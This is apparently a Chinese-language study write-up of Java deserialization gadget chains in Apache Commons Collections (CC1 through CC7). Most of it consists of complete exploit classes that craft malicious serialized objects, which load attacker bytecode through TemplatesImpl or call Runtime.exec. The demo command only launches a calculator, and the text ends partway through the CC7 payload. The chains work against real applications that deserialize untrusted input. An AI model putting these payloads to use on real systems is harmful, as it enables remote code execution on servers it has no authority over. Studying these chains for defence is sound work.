import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class hello extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
System.out.println("111");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
package cc;//jdk8u65 commons-collections 3.2.1
import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class tc =templatesImpl.getClass();
Field nameFieid = tc.getDeclaredField("_name");
nameFieid.setAccessible(true);
nameFieid.set(templatesImpl,"aaa");
Field by = tc.getDeclaredField("_bytecodes");
by.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};
by.set(templatesImpl,codes);
Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
tfactory.setAccessible(true);
tfactory.set(templatesImpl,new TransformerFactoryImpl());
templatesImpl.newTransformer();
//
// Transformer[] transforms=new Transformer[]{
// new ConstantTransformer(Runtime.class),
// (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
// };
// ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
// chainedTransformer.transform(1);
//
templatesImpl.newTransformer();
//
// HashMap<Object,Object> map=new HashMap<>();
// Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
// Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
// annotationInvocationHandlerConstructor.setAccessible(true);
// InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
// Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
// Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
// serialize(o);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
拼接cc1
package cc;//jdk8u65 commons-collections 3.2.1
import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class tc =templatesImpl.getClass();
Field nameFieid = tc.getDeclaredField("_name");
nameFieid.setAccessible(true);
nameFieid.set(templatesImpl,"aaa");
Field by = tc.getDeclaredField("_bytecodes");
by.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};
by.set(templatesImpl,codes);
//Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
// tfactory.setAccessible(true);
// tfactory.set(templatesImpl,new TransformerFactoryImpl());//测试时需要进行赋值在序列化反序列是不用
templatesImpl.newTransformer();
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(templatesImpl),
(Transformer) new InvokerTransformer("newTransformer", null,null)
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
至此
完工
②
不使用InvokerTransformer.transform() 方法
通过上面哪个templatesImpl的newtemplatesImpl方法我们找他
public TrAXFilter(Templates templates) throws//公开的
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();//templates参数可控
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
找到此即表示我们可以只需找到一个实例化的东东即可
public Object transform(Object input) {//InstantiateTransformer类
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);//当传入一个Object时实例化
。。。。。
我们可用通过InstantiateTransformer的transform对其进行实例化,看一下构造函数
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}//数组形式,第一个不重要 第二个为templatesImpl就好结合cc1完成闭合
playload:
package cc;//jdk8u65 commons-collections 3.2.1
import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class tc =templatesImpl.getClass();
Field nameFieid = tc.getDeclaredField("_name");
nameFieid.setAccessible(true);
nameFieid.set(templatesImpl,"aaa");
Field by = tc.getDeclaredField("_bytecodes");
by.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};
by.set(templatesImpl,codes);
// Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
// tfactory.setAccessible(true);
// tfactory.set(templatesImpl,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
// instantiateTransformer.transform(TrAXFilter.class);
//
org.apache.commons.collections.Transformer[] transforms=new org.apache.commons.collections.Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
// chainedTransformer.transform(1);
// templatesImpl.newTransformer();
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
cc4
cc4这条链是commons.collections4本版的TransformingComparator类
在4.0版本中TransformingComparator实现了Serializable导致了一条攻击链
public int compare(final I obj1, final I obj2) {//TransformingComparator的compare方法调用了transform方法
final O value1 = this.transformer.transform(obj1);//且this.transformer参数可控
final O value2 = this.transformer.transform(obj2);//这给cc3的InstantiateTransformer.transform提供入口
return this.decorated.compare(value1, value2);//查找哪个compare方法即可
}
这个很多个。。。最终我们找到 PriorityQueue的siftUpUsingComparator方法
private void siftUpUsingComparator(int k, E x) {//私有方法
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}//往上查找
private void siftDown(int k, E x) {//私有方法
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}//往上查找
private void heapify() {//私有方法
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}//往上查找
private void readObject(java.io.ObjectInputStream s)//readObject类 oklou
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
cc4至此完成开始连贯起来
package cc;//jdk8u71 commons-collections 4.0
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class tc =templatesImpl.getClass();
Field nameFieid = tc.getDeclaredField("_name");
nameFieid.setAccessible(true);
nameFieid.set(templatesImpl,"aaa");
Field by = tc.getDeclaredField("_bytecodes");
by.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};
by.set(templatesImpl,codes);
// Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
// tfactory.setAccessible(true);
// tfactory.set(templatesImpl,new TransformerFactoryImpl());
// templatesImpl.newTransformer();//实例化
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
// instantiateTransformer.transform(TrAXFilter.class);
//
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
//--------------------------------------------上面是cc3的后半部分不用改----------------------------------------//
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue<Object> cc4 = new PriorityQueue<>(transformingComparator);
serialize(cc4);
unserialize("ser.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
发现运行后无反应下个断点看一下PriorityQueue类内部传参情况(反序列化从readObject开始)
步入
测试发现size的值必须大于2找一下size的赋值
初始值 0
其实add几下size为几改一下
package cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class tc =templatesImpl.getClass();
Field nameFieid = tc.getDeclaredField("_name");
nameFieid.setAccessible(true);
nameFieid.set(templatesImpl,"aaa");
Field by = tc.getDeclaredField("_bytecodes");
by.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};
by.set(templatesImpl,codes);
// Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
// tfactory.setAccessible(true);
// tfactory.set(templatesImpl,new TransformerFactoryImpl());
// templatesImpl.newTransformer();//实例化
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
// instantiateTransformer.transform(TrAXFilter.class);
//
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
// TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1) );
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue<Object> cc4 = new PriorityQueue<>(transformingComparator);
cc4.add(1);
cc4.add(2);
// Class c=TransformingComparator.class;
// Field transformsField = c.getDeclaredField("transformer");
// transformsField.setAccessible(true);
// transformsField.set(transformingComparator,chainedTransformer);
serialize(cc4);
unserialize("ser.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行后报错接着调试断点下在cc4.add(2);。。。跟进一下就会发现cc4.add(2)的时候compare会被调用导致错误这个就和cc6中的
这个挺像我们可用先随便new一个传入然后通过反射进行更改
playload:
package cc;//jdk8u71 commons-collections 4.0
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class tc =templatesImpl.getClass();
Field nameFieid = tc.getDeclaredField("_name");
nameFieid.setAccessible(true);
nameFieid.set(templatesImpl,"aaa");
Field by = tc.getDeclaredField("_bytecodes");
by.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};
by.set(templatesImpl,codes);
// Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
// tfactory.setAccessible(true);
// tfactory.set(templatesImpl,new TransformerFactoryImpl());
// templatesImpl.newTransformer();//实例化
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1) );
PriorityQueue<Object> cc4 = new PriorityQueue<>(transformingComparator);
cc4.add(1);
cc4.add(2);
Class c=TransformingComparator.class;//transformer这个就是构造名
Field transformsField = c.getDeclaredField("transformer");
transformsField.setAccessible(true);
transformsField.set(transformingComparator,chainedTransformer);
serialize(cc4);
unserialize("ser.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
至此cc4完成😄下断点我们跟进看一下
进入heapify size=2
进入siftDown()
siftDo
wnUsingComparator()
步入TransformingComparator.compare
步入InstantiateTransformer.transform
完成实例化步入InstantiateTransformer.transform
TrAXFilter完成
任意类加载完成
cc2
cc2这条链是jdk8u71 commons.collections4的这条链的成因是TransformingComparator类实现了Serializable而3版本并没有
这个和c3的后半段相同只需找谁调用了transformer F7
我们在TransformingComparator.compare找到他调用了transformer 且参数可控
最终我们在PriorityQueue类的siftUpUsingComparator中发现调用且参数可控
接着发现PriorityQueue类siftDown中调用
然后siftDown又在heapify中
最终
readObject又调用即c2链完成闭合
package cc;//jdk8u71 commons-collections 4.0
// 走的InvokerTransformer.transform()
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class tc = templatesImpl.getClass();
Field nameFieid = tc.getDeclaredField("_name");
nameFieid.setAccessible(true);
nameFieid.set(templatesImpl, "aaa");
Field by = tc.getDeclaredField("_bytecodes");
by.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes = {code};
by.set(templatesImpl, codes);
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
//------------------------------------------这是c4的不用东--------------------------------------------------------
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
//这个是先随便传一个防止开始InvokerTransformer的方法名为newTransformer就会在构造序列化的时候触发利用链,而且另一个templatesImpl没有被写入导致噶。
PriorityQueue<Object> cc4 = new PriorityQueue<>(transformingComparator);
cc4.add(templatesImpl);//通过add传参使size值变成2进入哪个判断语句
cc4.add(2);invokerTransformer
Class c = TransformingComparator.class;//templatesImpl写入后反射修改invokerTransformer
Field transformsField = c.getDeclaredField("transformer");
transformsField.setAccessible(true);
transformsField.set(transformingComparator, invokerTransformer);
serialize(cc4);
unserialize("ser.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
动态验证:
进行add
size=1
templatesImpl写入
add两次第一次传入的是new的没啥用的值防止数据没写入完就执行导致报错
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1))
size=2进行写入
cc4.add(templatesImpl);
cc4.add(2);//下面哪个运行后i是1所以第一个add是写入templatesImpl 第二个无所谓
size=2进入for语句
到这了懒得跟进了 。。。
cc5
cc5链还是使用了lazyMap.get()这个方法他和c6一样也是使用TiedMapEntry类作为中间类但他使用的是toString方法我们可以跟进看一哈
public String toString() {
return getKey() + "=" + getValue();//同样调用getValue方法调用get
}
public Object getValue() {
return map.get(key);
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {//valObj这个传参其实问一下人工智杖就行大概就是val吧
val = valObj.toString();//BadAttributeValueExpException的readObject调用了toString方法
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
结合cc1 playload:
package cc;//jdk8u71 commons-collections 3.2.1
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
// BadAttributeValueExpException;
// TiedMapEntry
// new BadAttributeValueExpException();
Transformer[] transforms=new Transformer[]{
new ConstantTransformer(Runtime.class),
(Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
(Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
(Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry c5 = new TiedMapEntry(lazyMap,"ss");
// c5.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class cc5 = Class.forName("javax.management.BadAttributeValueExpException");
Field field = cc5.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,c5);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
cc7
cc7是通过AbstractMap.equals调用get方法,大同小异
入口类是Hashtable.readObject
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);//入口点
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {//equals前面参数可控且hash相同
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
Hashtable的reconstitutionPut方法调用了equals但Hashtable并没有equals方法,而实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
查找equals方法
最后在AbstractMap中的equals方法
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))//这个get需满足不为空且键名不同
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}//LazyMap类
//-----------------------------------------------------------------------
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);//这个put写入会使我们传入的yy写入lmp2里面导致序列化失败,即需要删除
return value;
}
return map.get(key);
}
playload:
package cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
